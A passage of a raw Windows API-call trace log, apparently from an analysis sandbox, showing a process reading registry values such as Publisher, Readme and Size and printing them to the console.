(in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.241] __iob_func () returned 0x7fefd702a80 [0149.241] _fileno (_File=0x7fefd702ab0) returned 1 [0149.241] _errno () returned 0x204bb0 [0149.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.241] _errno () returned 0x204bb0 [0149.241] GetFileType (hFile=0x50) returned 0x1 [0149.241] lstrlenW (lpString="\n") returned 1 [0149.241] GetConsoleOutputCP () returned 0x1b5 [0149.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.241] GetConsoleOutputCP () returned 0x1b5 [0149.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.242] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.242] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.242] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.242] GetProcessHeap () returned 0x3c0000 [0149.242] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.242] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0149.242] __iob_func () returned 0x7fefd702a80 [0149.242] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.242] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.242] _fileno (_File=0x7fefd702ab0) returned 1 [0149.242] _errno () returned 0x204bb0 [0149.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.242] _errno () returned 0x204bb0 [0149.242] GetFileType (hFile=0x50) returned 0x1 [0149.242] lstrlenW (lpString=" ") returned 4 [0149.242] GetConsoleOutputCP () returned 0x1b5 [0149.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.243] GetConsoleOutputCP () returned 0x1b5 [0149.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.243] lstrlenW (lpString="Publisher") returned 9 [0149.243] __iob_func () returned 0x7fefd702a80 [0149.243] _fileno (_File=0x7fefd702ab0) returned 1 [0149.243] _errno () returned 0x204bb0 [0149.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.243] _errno () returned 0x204bb0 [0149.243] GetFileType (hFile=0x50) returned 0x1 [0149.243] lstrlenW (lpString="Publisher") returned 9 [0149.243] GetConsoleOutputCP () returned 0x1b5 [0149.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.243] GetConsoleOutputCP () returned 0x1b5 [0149.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.243] __iob_func () returned 0x7fefd702a80 [0149.243] _fileno (_File=0x7fefd702ab0) returned 1 [0149.243] _errno () returned 0x204bb0 [0149.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.243] _errno () returned 0x204bb0 [0149.243] GetFileType (hFile=0x50) returned 0x1 [0149.243] lstrlenW (lpString=" ") returned 4 [0149.244] GetConsoleOutputCP () returned 0x1b5 [0149.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.244] GetConsoleOutputCP () returned 0x1b5 [0149.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.244] __iob_func () returned 0x7fefd702a80 [0149.244] _fileno (_File=0x7fefd702ab0) returned 1 [0149.244] _errno () returned 0x204bb0 [0149.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.244] _errno () returned 0x204bb0 [0149.244] GetFileType (hFile=0x50) returned 0x1 [0149.244] lstrlenW (lpString="REG_SZ") returned 6 [0149.244] GetConsoleOutputCP () returned 0x1b5 [0149.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.244] GetConsoleOutputCP () returned 0x1b5 [0149.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.244] __iob_func () returned 0x7fefd702a80 [0149.244] _fileno (_File=0x7fefd702ab0) returned 1 [0149.244] _errno () returned 0x204bb0 [0149.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.245] _errno () returned 0x204bb0 [0149.245] GetFileType (hFile=0x50) returned 0x1 [0149.245] lstrlenW (lpString=" ") returned 4 [0149.245] GetConsoleOutputCP () returned 0x1b5 [0149.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.245] GetConsoleOutputCP () returned 0x1b5 [0149.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.245] __iob_func () returned 0x7fefd702a80 [0149.245] _fileno (_File=0x7fefd702ab0) returned 1 [0149.245] _errno () returned 0x204bb0 [0149.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.245] _errno () returned 0x204bb0 [0149.245] GetFileType (hFile=0x50) returned 0x1 [0149.245] lstrlenW (lpString="Microsoft Corporation") returned 21 [0149.245] GetConsoleOutputCP () returned 0x1b5 [0149.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.245] GetConsoleOutputCP () returned 0x1b5 [0149.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0149.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0149.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.246] __iob_func () returned 0x7fefd702a80 [0149.246] _fileno (_File=0x7fefd702ab0) returned 1 [0149.246] _errno () returned 0x204bb0 [0149.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.246] _errno () returned 0x204bb0 [0149.246] GetFileType (hFile=0x50) returned 0x1 [0149.246] lstrlenW (lpString="\n") returned 1 [0149.246] GetConsoleOutputCP () returned 0x1b5 [0149.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.246] GetConsoleOutputCP () returned 0x1b5 [0149.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.246] GetProcessHeap () returned 0x3c0000 [0149.246] GetProcessHeap () returned 0x3c0000 [0149.246] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.246] GetProcessHeap () returned 0x3c0000 [0149.246] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0149.246] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.246] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.246] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.246] GetProcessHeap () returned 0x3c0000 [0149.246] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.246] GetProcessHeap () returned 0x3c0000 [0149.247] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.247] GetProcessHeap () returned 0x3c0000 [0149.247] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.247] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.247] __iob_func () returned 0x7fefd702a80 [0149.247] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.247] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.247] _fileno (_File=0x7fefd702ab0) returned 1 [0149.247] _errno () returned 0x204bb0 [0149.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.247] _errno () returned 0x204bb0 [0149.247] GetFileType (hFile=0x50) returned 0x1 [0149.247] lstrlenW (lpString=" ") returned 4 [0149.247] GetConsoleOutputCP () returned 0x1b5 [0149.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.247] GetConsoleOutputCP () returned 0x1b5 [0149.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.247] lstrlenW (lpString="Readme") returned 6 [0149.247] __iob_func () returned 0x7fefd702a80 [0149.247] _fileno (_File=0x7fefd702ab0) returned 1 [0149.247] _errno () returned 0x204bb0 [0149.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.247] _errno () returned 0x204bb0 [0149.247] GetFileType (hFile=0x50) returned 0x1 [0149.247] lstrlenW (lpString="Readme") returned 6 [0149.247] GetConsoleOutputCP () returned 0x1b5 [0149.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.248] GetConsoleOutputCP () returned 0x1b5 [0149.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0149.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.248] __iob_func () returned 0x7fefd702a80 [0149.248] _fileno (_File=0x7fefd702ab0) returned 1 [0149.248] _errno () returned 0x204bb0 [0149.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.248] _errno () returned 0x204bb0 [0149.248] GetFileType (hFile=0x50) returned 0x1 [0149.248] lstrlenW (lpString=" ") returned 4 [0149.248] GetConsoleOutputCP () returned 0x1b5 [0149.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.248] GetConsoleOutputCP () returned 0x1b5 [0149.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.248] __iob_func () returned 0x7fefd702a80 [0149.248] _fileno (_File=0x7fefd702ab0) returned 1 [0149.249] _errno () returned 0x204bb0 [0149.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.249] _errno () returned 0x204bb0 [0149.249] GetFileType (hFile=0x50) returned 0x1 [0149.249] lstrlenW (lpString="REG_SZ") returned 6 [0149.249] GetConsoleOutputCP () returned 0x1b5 [0149.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.249] GetConsoleOutputCP () returned 0x1b5 [0149.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.249] __iob_func () returned 0x7fefd702a80 [0149.249] _fileno (_File=0x7fefd702ab0) returned 1 [0149.249] _errno () returned 0x204bb0 [0149.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.249] _errno () returned 0x204bb0 [0149.249] GetFileType (hFile=0x50) returned 0x1 [0149.249] lstrlenW (lpString=" ") returned 4 [0149.249] GetConsoleOutputCP () returned 0x1b5 [0149.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.249] GetConsoleOutputCP () returned 0x1b5 [0149.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.250] __iob_func () returned 0x7fefd702a80 [0149.250] _fileno (_File=0x7fefd702ab0) returned 1 [0149.250] _errno () returned 0x204bb0 [0149.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.250] _errno () returned 0x204bb0 [0149.250] GetFileType (hFile=0x50) returned 0x1 [0149.250] lstrlenW (lpString="") returned 0 [0149.250] __iob_func () returned 0x7fefd702a80 [0149.250] _fileno (_File=0x7fefd702ab0) returned 1 [0149.250] _errno () returned 0x204bb0 [0149.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.250] _errno () returned 0x204bb0 [0149.250] GetFileType (hFile=0x50) returned 0x1 [0149.250] lstrlenW (lpString="\n") returned 1 [0149.250] GetConsoleOutputCP () returned 0x1b5 [0149.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.250] GetConsoleOutputCP () returned 0x1b5 [0149.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.250] GetProcessHeap () returned 0x3c0000 [0149.250] GetProcessHeap () returned 0x3c0000 [0149.250] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.250] GetProcessHeap () returned 0x3c0000 [0149.250] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.251] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.251] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.251] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.251] GetProcessHeap () returned 0x3c0000 [0149.251] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.251] GetProcessHeap () returned 0x3c0000 [0149.251] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.251] GetProcessHeap () returned 0x3c0000 [0149.251] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.251] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.251] __iob_func () returned 0x7fefd702a80 [0149.251] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.251] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.251] _fileno (_File=0x7fefd702ab0) returned 1 [0149.251] _errno () returned 0x204bb0 [0149.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.251] _errno () returned 0x204bb0 [0149.251] GetFileType (hFile=0x50) returned 0x1 [0149.251] lstrlenW (lpString=" ") returned 4 [0149.251] GetConsoleOutputCP () returned 0x1b5 [0149.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.251] GetConsoleOutputCP () returned 0x1b5 [0149.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.251] lstrlenW (lpString="Size") returned 4 [0149.251] __iob_func () returned 0x7fefd702a80 [0149.251] _fileno (_File=0x7fefd702ab0) returned 1 [0149.252] _errno () returned 0x204bb0 [0149.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.252] _errno () returned 0x204bb0 [0149.252] GetFileType (hFile=0x50) returned 0x1 [0149.252] lstrlenW (lpString="Size") returned 4 [0149.252] GetConsoleOutputCP () returned 0x1b5 [0149.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.252] GetConsoleOutputCP () returned 0x1b5 [0149.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0149.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.252] __iob_func () returned 0x7fefd702a80 [0149.252] _fileno (_File=0x7fefd702ab0) returned 1 [0149.252] _errno () returned 0x204bb0 [0149.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.252] _errno () returned 0x204bb0 [0149.252] GetFileType (hFile=0x50) returned 0x1 [0149.252] lstrlenW (lpString=" ") returned 4 [0149.252] GetConsoleOutputCP () returned 0x1b5 [0149.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.252] GetConsoleOutputCP () returned 0x1b5 [0149.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.253] __iob_func () returned 0x7fefd702a80 [0149.253] _fileno (_File=0x7fefd702ab0) returned 1 [0149.253] _errno () returned 0x204bb0 [0149.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.253] _errno () returned 0x204bb0 [0149.253] GetFileType (hFile=0x50) returned 0x1 [0149.253] lstrlenW (lpString="REG_SZ") returned 6 [0149.253] GetConsoleOutputCP () returned 0x1b5 [0149.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.253] GetConsoleOutputCP () returned 0x1b5 [0149.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 